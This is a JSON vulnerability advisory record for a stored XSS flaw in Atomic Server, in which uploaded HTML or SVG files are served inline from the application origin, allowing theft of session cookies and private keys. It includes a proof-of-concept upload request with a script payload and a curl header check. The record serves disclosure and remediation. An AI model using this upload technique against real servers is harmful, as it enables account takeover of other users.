{"id":"CVE-2026-69155","aliases":["CVE-2026-69155","GHSA-x277-3wcg-g9r2"],"related":[],"kind":"vulnerability","state":"published","title":"Atomic Server: Stored XSS via uploaded files served inline (same-origin) on `/download` → account takeover","summary":"Atomic Server is an open source headless CMS and real-time database. From 0.30.0 until 0.40.3, an authenticated Agent with folder write access can use POST /upload to store HTML or SVG content that GET /download/{path} serves from the application origin through server/src/handlers/download.rs. The response sets Content-Disposition: inline and lacks forced attachment handling and X-Content-Type-Options: nosniff, allowing the browser to render the uploaded active content as the application. When a victim opens the link, the script can access the JavaScript-readable atomic_session cookie and the Agent private key in same-origin IndexedDB, enabling persistent account impersonation. This issue is fixed in version 0.40.3.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Atomic Server is an open source headless CMS and real-time database. From 0.30.0 until 0.40.3, an authenticated Agent with folder write access can use POST /upload to store HTML or SVG content that GET /download/{path} serves from the application origin through server/src/handlers/download.rs. The response sets Content-Disposition: inline and lacks forced attachment handling and X-Content-Type-Options: nosniff, allowing the browser to render the uploaded active content as the application. When a victim opens the link, the script can access the JavaScript-readable atomic_session cookie and the Agent private key in same-origin IndexedDB, enabling persistent account impersonation. This issue is fixed in version 0.40.3.","source":"cvelist"},{"lang":"en","text":"## Summary\n\nFiles uploaded via `POST /upload` are served back by `GET /download/{path}` using `actix_files::NamedFile`. For `text/html` and `image/svg+xml`, actix-files (0.6.6) sets `Content-Disposition: inline`, so the browser **renders** the file instead of downloading it. The `/download` route sets **no `Content-Security-Policy`, no `X-Content-Type-Options: nosniff`, and no forced `attachment`** (CSP exists only on the SPA route), and files are served from the **same origin** as the app UI. An authenticated Agent uploads `evil.html` containing `<script>`; when a victim opens the link, the script executes in the app origin. Because the `atomic_session` cookie is set via `document.cookie` (not HttpOnly) and the Agent's Ed25519 private key is stored in same-origin IndexedDB (`browser/data-browser/src/helpers/agentStorage.ts`), the script exfiltrates the private key → **permanent account takeover**.\n\n## Affected component\n\n- `server/src/handlers/upload.rs` — stores the file; mimetype guessed from extension.\n- `server/src/handlers/download.rs:65` — `NamedFile::open(...).into_response(req)` with no CSP/nosniff/attachment; CSP is only set in `server/src/handlers/single_page_app.rs`.\n\n## Steps to Reproduce\n\nEnvironment: `joepmeneer/atomic-server:develop`, `http://localhost:9883`. Attacker is any Agent with write on a folder.\n\n1. Upload an HTML file (multipart, with signed auth headers):\n\n```http\nPOST /upload?parent=http://localhost:9883 HTTP/1.1\nHost: localhost:9883\nx-atomic-public-key: <pubkey>\nx-atomic-agent: http://localhost:9883/agents/<pubkey>\nx-atomic-timestamp: <ms>\nx-atomic-signature: <ed25519(\"http://localhost:9883/upload?parent=http://localhost:9883 <ms>\")>\nContent-Type: multipart/form-data; boundary=----poc\n\n------poc\nContent-Disposition: form-data; name=\"assets\"; filename=\"xss.html\"\nContent-Type: text/html\n\n<html><body><script>alert(document.domain)</script>STORED-XSS-PROOF</body></html>\n------poc--\n```\n\nResponse `200` returns a `downloadURL`, e.g. `http://localhost:9883/download/files/<ts>-xss.html`.\n\n2. Inspect how the server serves it:\n\n```\n$ curl -D - http://localhost:9883/download/files/<ts>-xss.html\nHTTP/1.1 200 OK\ncontent-type: text/html; charset=utf-8\ncontent-disposition: inline; filename=\"<ts>-xss.html\"\n# (no Content-Security-Policy, no X-Content-Type-Options)\n```\n\n`text/html` + `inline` + no CSP/nosniff + same origin → the browser executes the uploaded HTML/JS in the app origin. `image/svg+xml` behaves identically.\n\n3. The attacker sends the link to a victim. On open, the script runs same-origin and reads `document.cookie` (session is not HttpOnly) and the Ed25519 private key from IndexedDB → signs Commits as the victim indefinitely.\n\n**Expected:** user files served with `Content-Disposition: attachment` + `nosniff`, or from an isolated origin.\n**Actual:** served `inline`, `text/html`, same origin, no CSP/nosniff → stored XSS executes.\n\n*(Confirmed at the HTTP layer in the lab: content-type, disposition, missing CSP/nosniff, same origin, and the intact `<script>` body. In-browser execution and IndexedDB key theft follow directly from these response headers.)*\n\n## Impact\n\nStored XSS in the app origin → theft of the victim's session cookie (not HttpOnly) and Ed25519 private key from IndexedDB → permanent account takeover (not limited by the 10-second token window). If the victim is an admin/root Agent, this is server takeover.\n\n## Remediation\n\n- On `/download`, force `Content-Disposition: attachment` for user files, add `X-Content-Type-Options: nosniff`, and a `sandbox` CSP.\n- Serve user-uploaded files from a separate origin/subdomain.\n- Set `HttpOnly` + `Secure` on the session cookie; do not persist the private key in JS-readable storage.","format":"markdown","source":"ghsa"}],"published":"2026-11-17T21:03:07.553Z","modified":"2026-11-19T05:18:40.410Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","score":8.7,"rating":"HIGH"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":">= 0.30.0, < 0.40.3","status":"affected"}],"vendor":"ontola","product":"atomic-server","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0.30.0","status":"affected","lastAffected":"0.40.1"}],"ecosystem":"crates.io","package":"atomic-server","purl":"pkg:cargo/atomic-server","source":"ghsa"}],"references":[{"url":"https://github.com/ontola/atomic-server/security/advisories/GHSA-x277-3wcg-g9r2","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ontola/atomic-server/commit/457c1dc9af4cd00d2aec89720718e504a49f392d","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ontola/atomic-server/commit/8a8badfd3099765e62ccf6f92dc78a408a11106f","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/ontola/atomic-server/releases/tag/v0.40.3","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69155","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/ontola/atomic-server","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"total","date":"2026-11-19T04:19:44.549Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-69155","url":"https://www.cve.org/CVERecord?id=CVE-2026-69155","licence":"CVE Terms of Use","modified":"2026-11-19T04:20:10.214Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-x277-3wcg-g9r2","url":"https://github.com/advisories/GHSA-x277-3wcg-g9r2","licence":"CC-BY-4.0","modified":"2026-11-18T21:00:39.412Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-69155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-69155","licence":"Public domain","modified":"2026-11-19T05:18:40.410Z"}],"updatedAt":"2026-11-25T22:59:51.244Z","epss":{"score":0.00402,"percentile":0.36497,"date":"2026-12-02T12:00:21.000Z"}}